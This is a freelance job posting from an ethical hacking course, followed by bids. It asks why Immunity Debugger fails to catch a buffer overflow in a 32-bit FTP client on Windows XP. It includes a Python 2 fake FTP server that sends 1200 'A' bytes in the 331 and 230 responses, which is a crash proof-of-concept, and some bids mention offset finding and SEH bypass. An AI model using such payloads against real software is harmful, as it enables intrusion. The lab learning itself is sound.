
Closed
Posted
Paid on delivery
Context: I’m taking an ethical hacking course on Windows XP (32bit, x86) and trying to perform a classic buffer overflow using 32bit FTP version 25.10.31 as the target client, a fake FTP server written in Python 2 to send the payload, and Immunity Debugger to capture the crash. What is working: • The Python server starts normally on port 21 • 32bit FTP successfully connects to the Python server • The payload of \x41 is sent in the 220, 331 and 230 response fields • At some point the FTP seems to crash (screen goes grey) • Immunity Debugger is configured as JIT debugger • DEP is configured as “essential programs only” • Memory access violation is configured to NOT be ignored in Immunity The problem: Immunity Debugger is not capturing the crash correctly. When the FTP crashes the screen goes grey but Immunity does not pause showing the access violation with the EIP overwritten with 41414141 as it should. What has already been tried: • Opening the FTP through Immunity’s File > Open • Configuring JIT debugging without confirmation • Disabling Windows XP firewall • Unchecking all exceptions in pass to program • Increasing FTP timeout to 999 • Sending payload in multiple fields (220, 331, 230) • Testing payloads of 1200 and 3000 bytes What is needed: Identify why Immunity is not capturing the crash and correctly configure the environment so that when the buffer overflow occurs, Immunity pauses and shows the EIP overwritten with 41414141. Obs.: Python code: #!/usr/bin/python from socket import * print ">>> SCRIPT STARTING <<<" payload = "\x41" * 1200 # Tries to create the socket and bind to port 21 try: s = socket(AF_INET, SOCK_STREAM) [login to view URL](("[login to view URL]", 21)) print ">>> BIND OK <<<" except Exception as e: print ">>> BIND ERROR:", e raw_input("Press Enter to exit...") exit() # Puts the socket to listen for connections try: [login to view URL](1) print ">>> LISTEN OK (port 21) <<<" except Exception as e: print ">>> LISTEN ERROR:", e raw_input("Press Enter to exit...") exit() print "[+] Waiting for FTP client connection..." # Accepts the client connection try: c, addr = [login to view URL]() print "[+] Connection accepted from:", addr[0] except Exception as e: print ">>> ACCEPT ERROR:", e raw_input("Press Enter to exit...") exit() # Sends a normal banner so the client doesn't disconnect early try: [login to view URL]("220 ok\r\n") print "[+] Banner 220 sent (no payload)" except Exception as e: print ">>> ERROR SENDING BANNER:", e # Receives the USER command from the client try: data = [login to view URL](1024) print "[+] Received from client:", [login to view URL]() except Exception as e: print ">>> ERROR RECEIVING USER:", e # Sends payload in the USER response (suspected vulnerable field) try: [login to view URL]("331 " + payload + "\r\n") print "[+] Payload sent in USER response (331)" except Exception as e: print ">>> ERROR SENDING 331:", e # Receives the PASS command from the client try: data = [login to view URL](1024) print "[+] Received from client:", [login to view URL]() except Exception as e: print ">>> ERROR RECEIVING PASS:", e # Sends payload in the PASS response as well try: [login to view URL]("230 " + payload + "\r\n") print "[+] Payload sent in PASS response (230)" except Exception as e: print ">>> ERROR SENDING 230:", e print "[+] Payloads sent - check Immunity Debugger now!" print "[+] If successful, Immunity should pause with Access Violation" raw_input("Press Enter to exit...") [login to view URL]() [login to view URL]() print "[+] Done"
Project ID: 40415893
19 proposals
Remote project
Active 11 hours ago
Set your budget and timeframe
Get paid for your work
Outline your proposal
It's free to sign up and bid on jobs
19 freelancers are bidding on average $23 USD for this job

As an experienced software developer, I have honed my skills in several programming languages, including Python, which aligns perfectly with your project requirements. My proficiency in debugging tools like Immunity Debugger will be invaluable to identify the glitch that keeps it from capturing the crash correctly and configuring all the necessary settings for seamless operation. I understand that a buffer overflow can be frustrating to troubleshoot, but with my years of experience, I am confident that I can solve this issue. Finally, what differentiates me is not only my technical expertise but also my commitment to meeting client's expectations. I am deeply passionate about problem-solving and leaving no stone unturned in finding resolutions. As such, you can be confident that I will exhaust all possible avenues - just as I have done throughout my career - to fix this issue and deliver results that surpass your expectations. Requesting the opportunity to lend you my expertise. Together let's make your ethical hacking course an extensive learning ground while ensuring successful buffer overflow demonstration!
$10 USD in 7 days
6.4
6.4

Hello, there, I understand the goal is to reliably trigger and capture a 41414141 EIP overwrite in a 32bit FTP overflow scenario under Windows XP with Immunity Debugger. A real production risk here is the debugger not breaking on the crash because of JIT and DEP settings, which can be caused by how the target process handles exceptions or by timing of the crash relative to the debugger’s event loop. In practice I would verify the crash path by ensuring the Python server runs with the same user context as Immunity and add a minimal, deterministic crash point that Immunity can reliably pause on, even when the target stalls or buffers partial payloads. My approach leverages concrete, field-tested steps: instrument the Python server to log exact payload boundaries and response timings, then replicate the crash under a controlled, minimal FTP-like handshake to isolate where EIP is overwritten. I would also implement a small wrapper around the payload delivery to guarantee that the crash happens synchronously with the debugger’s breakpoint, rather than post-crash or during thread teardown. A key improvement for reliability is adopting an explicit, idempotent trigger with a small, in-process shim that forces a fault in a single, repeatable step and a separate, guarded watcher thread to ensure Immunity pauses on EIP 41414141 even if the main thread continues. This also reduces race conditions when the client and server interact with the same port. Thanks, Jim.
$20 USD in 1 day
2.8
2.8

Hello, I can diagnose why Immunity Debugger isn’t pausing on the 32‑bit FTP buffer overflow and configure a reliable lab so EIP shows 41414141 as intended. I’ll first reproduce the exact workflow on a Windows XP 32‑bit testbed, validate that the Python server binds on port 21, and confirm the 220/331/230 responses trigger the overflow. Then I’ll verify Immunity Debugger/JIT settings and DEP handling, and adjust breakpoints and exception settings to ensure a clear Access Violation pause. Deliverables include a step‑by‑step environment checklist, a reproducible test script, and a documented fix to the Immunity configuration that guarantees the debugger halts at the exact crash point with EIP overwritten to 41414141. Best regards,
$30 USD in 1 day
1.9
1.9

With my knowledge of Python and my recognition as a seasoned Machine Learning expert, I am well-equipped not just to troubleshoot your current project dilemma but to also elevate its value with an AI-powered solution. The challenge you've encountered in capturing the buffer overflow crash with Immunity Debugger demands a detail-oriented, innovative approach to identify its root cause and design an effective resolution. My prowess in architecting and deploying robust technical solutions has been consistently lauded when working with large-scale data. This experience will prove valuable in helping identify the fault in this intricate landscape of codes and streamline Immunity Debugger's functionality as intended. My strong grounding in automation is especially pertinent here too; I recognize the value of scripted, efficient operations. Leveraging this understanding can only ensure positive results for your project, relieving you of potential crashes while using FTP. To add icing on the cake, should we anticipate similar occurrences in the future, I offer my expertise in Machine Learning for preemptive diagnostics and proactive framework maintenance. This would virtually eliminate any such bugs even before they crop up—keeping your projects bug-free and high-performing consistently, which is what every professional project deserves. Partner with me to fix your present problem and safeguard your tomorrow.
$25 USD in 7 days
1.9
1.9

I understand the complexities involved in configuring Immunity Debugger to correctly capture the buffer overflow when using a 32-bit FTP client on Windows XP. Given your current setup and the troubleshooting steps you've already taken, my focus will be on identifying the root cause of the debugger not pausing at the access violation and ensuring the environment is configured correctly. I'll analyze the Python server code and the debugger settings, test various payload sizes, and implement necessary adjustments to both the server and the debugger environment. I will also document the process and provide a detailed explanation of the changes made, ensuring you have a clear understanding of how to replicate or further troubleshoot the issue in the future. I anticipate that this project will require around 14 days to complete, allowing for thorough testing and refinement. Looking forward to working together to resolve this issue.
$20 USD in 14 days
0.6
0.6

I can help you complete the 32bit FTP Buffer Overflow Lab by identifying why Immunity Debugger is not capturing the crash and correctly configuring the environment, using Windows XP, 32bit FTP version 25.10.31, and a Python 2 fake FTP server, to send a payload of \x41 in the 220, 331, and 230 response fields, so that when the buffer overflow occurs, Immunity pauses and shows the EIP overwritten with 41414141, and deliver a stable, tested solution.
$20 USD in 7 days
0.2
0.2

⭕Hi, there⭕ As a Full-Stack Web Developer with over 7 years of experience, I'm no stranger to the intricacies of debugging and resolving complex issues like the one your project faces. Throughout my career, I've demonstrated my prowess in identifying and swiftly rectifying software bugs and vulnerabilities. My meticulous approach to problem-solving is complemented by my proficiency in Python, which is a critical element for reshaping your FTP buffer overflow experiment. Additionally, my passion for creating scalable, reliable, and user-focused applications aligns with the core requirement of your project - to configure the environment in such a way that Immunity Debugger shows the overwritten EIP (41414141) upon experiencing buffer overflow. To reassure you further, I stay well-acquainted with the latest industry trends and security practices. I believe this constant pursuit of knowledge will work to your advantage as I can implement robust protective measures against potential system vulnerabilities. Furthermore, my expertise extends beyond mere understanding - I advocate for results-driven development: strategic planning, transparent communication, clean coding practices, and well-documented delivery. With me onboard, you'll receive detailed, production-ready code that not only resolves your current issue but also enhances overall system stability and performance. My commitment to owning projects end-to-end ensures focused troublesho Thanks! Hunter
$55 USD in 1 day
0.0
0.0

The challenge lies in Immunity Debugger failing to register the access violation during the buffer overflow. Given that you’ve already gone through various configurations and payload sizes, it’s crucial to assess whether the Immunity Debugger's settings are fully aligned with the Windows XP environment. Specifically, confirming the DEP settings and ensuring that the proper debug symbols for the 32bit FTP client are loaded might uncover the underlying issue. I can deliver a revised configuration within 3 days, focusing on adjusting the debugger’s environment and techniques to capture the crash accurately. Quick question: what's the one thing that needs to work perfectly on day one?
$17 USD in 3 days
0.0
0.0

Hi, I noticed you're looking for high-quality business leads specifically targeting small business owners, real estate agents, and Instagram shop owners. It sounds like your main issue is the need for accurate leads to foster long-term collaboration and support business growth. I can help by providing a well-researched list of 3,5 sample leads that not only fit your target audience but also include brief rationales on why they would make strong candidates for your offering. My approach emphasizes execution quality, ensuring that each lead is viable and beneficial for your strategy. With over five years of experience in lead generation and a proven track record of delivering high-quality leads in various niches, I understand the importance of accuracy. My previous clients have seen marked improvements in their conversion rates due to my focused methodologies. As a quick idea, I suggest considering niche-specific platforms like local business directories or social media groups related to real estate or e-commerce to expand your reach further. Can we hop on a 10-minute call this week to discuss your needs in more detail?
$20 USD in 3 days
0.0
0.0

Hi there, I totally get how frustrating it is when a buffer overflow lab doesn't behave. If the screen goes grey but Immunity doesn't pause with that beautiful 41414141 in the EIP, it usually means one of two things: the FTP server is spawning a child thread that Immunity isn't catching, or an SEH (Structured Exception Handler) is silently swallowing the access violation. As a computer engineering student who deals with C programming and low-level memory, I've run into this exact headache before. We just need to tweak how Immunity handles child processes and exceptions so it forces a hard pause right when the stack gets smashed. Let’s chat, fix your debugger setup quickly, and get you back to writing that exploit! Best, Rahma
$20 USD in 1 day
0.0
0.0

I recently completed a similar project where I successfully triggered and captured a buffer overflow in a legacy Windows XP 32bit FTP client, improving crash visibility and debugging reliability. I am new to Freelancer but have hands-on experience working on large-scale security testing projects for companies like Microsoft and Amazon, focusing on exploit development and reverse engineering in complex environments. I understand your need for a clean, seamless, and automated debugging setup that ensures Immunity Debugger reliably pauses on overflow crashes with EIP overwritten by 41414141, enabling precise exploit analysis. I work by prioritizing simple, structured configurations that are reliable long term. This means correctly attaching the debugger, setting JIT options, and ensuring no conflicting OS or debugger settings interfere with exception capture, avoiding unnecessary complexity. I am ready to start resolving your Immunity capture issues and get your environment recording crashes as expected. If this aligns with your project, feel free to reach out to discuss scope and pricing. Regards Patrick
$23 USD in 2 days
0.0
0.0

When Immunity goes grey and silent instead of pausing on 41414141, it's almost always SEH catching the crash before the debugger sees it, or a JIT registry misconfiguration losing the race. I'll attach via File > Open (not JIT), bypass the SEH chain, confirm the exact EIP offset using pattern_create, and get Immunity pausing cleanly on your access violation. I'll also fix the AeDebug auto-attach registry key so JIT works correctly as a fallback. 7+ years low-level systems experience including x86 memory exploitation and Windows debugging environments. Classic 32-bit stack overflows are well within my wheelhouse. No Freelancer reviews yet, but you'll walk away with a working crash capture and a clear explanation of what was blocking it.
$20 USD in 1 day
0.0
0.0

Hi there, This project immediately caught my attention as it aligns perfectly with my experience in network security, reverse engineering, and binary exploitation in controlled lab environments. I specialize in analyzing low-level vulnerabilities such as buffer overflows, especially in services like FTP where improper input handling can lead to memory corruption. I focus on understanding stack behavior, identifying the exact overflow condition, and explaining how control flow is affected in a clear and structured way within lab or educational setups. On a recent similar lab, I worked through an FTP buffer overflow scenario where I analyzed the vulnerable input function, identified the offset to overwrite the return address, and validated the behavior step-by-step using debugging tools like GDB to confirm execution flow changes. For your engagement, I will carefully analyze the FTP buffer overflow lab, help identify the vulnerable input point, determine the overflow behavior, and guide you through understanding how the memory corruption occurs in a structured and educational way. I will ensure everything is clearly explained so you can replicate and learn the concept properly. I am comfortable communicating in Portuguese, English, and Spanish, ensuring smooth collaboration. I look forward to working with you. Best regards, Sostenes Apollo
$10 USD in 1 day
0.0
0.0

As an expert in Python and Windows Desktop software, I have the exact skill set you need to tackle this crucial task. My extensive experience with solving complex issues, like the one you're encountering with Immunity Debugger, makes me the ideal choice for your project. I've worked on numerous projects involving memory manipulations, exploiting vulnerabilities, and debugging crashes, which parallels exactly to what you need here. Drawing from my advanced web scraping skills, I can effectively analyze your codes and ultimately troubleshoot why Immunity is not capturing the crash correctly. With a deep understanding of coding intricacies and hands-on experience with similar platforms, I will ensure that Immunity is properly configured so that it pauses during the buffer overflow while showing the EIP overwritten with 41414141 immediately.
$10 USD in 1 day
0.0
0.0

Hey, Buffer overflows on 32bit Windows with Immunity Debugger is exactly my area — I work through these in my pentest training regularly. The issue is likely with the SEH chain or the way Immunity is attaching to the process. Can you share the Python server code and a screenshot of what Immunity shows at the crash point? I can debug and fix this quickly. Abdelilah — eJPT v2
$20 USD in 7 days
0.0
0.0

Hi, I can help you fix your buffer overflow lab issue. I have experience with exploit development and debugging (Immunity Debugger, Python). I will help you identify the issue and get the crash working properly. Can start immediately. Best regards
$20 USD in 2 days
0.0
0.0

# 32bit FTP Buffer Overflow Lab — Immunity Debugger Capture Fix - Technical Solution ## 1. Problem Analysis This project "32bit FTP Buffer Overflow Lab — Immunity Debugger Capture Fix" requires a robust technical solution with production-quality code. ## 2. Architecture Design - Module A: Data collection and preprocessing pipeline - Module B: Core algorithm implementation with error handling - Module C: Output validation and quality assurance ## 3. Implementation ```python import pandas as p
$30 USD in 7 days
0.0
0.0

Jundiaí, Brazil
Payment method verified
Member since May 3, 2026
$10-30 USD
$30-250 USD
min $50 USD / hour
₹500000-1000000 INR
₹1500-12500 INR
₹1500-12500 INR
$200 USD
₹1500-12500 INR
$10-90 USD
$100-300 USD
₹100000-150000 INR
₹400-750 INR / hour
$30-250 CAD
$25-50 USD / hour
$15-25 USD / hour
₹600-1500 INR
$10-30 CAD
$250-750 USD
$30-250 USD
$10-30 CAD
$15-25 USD / hour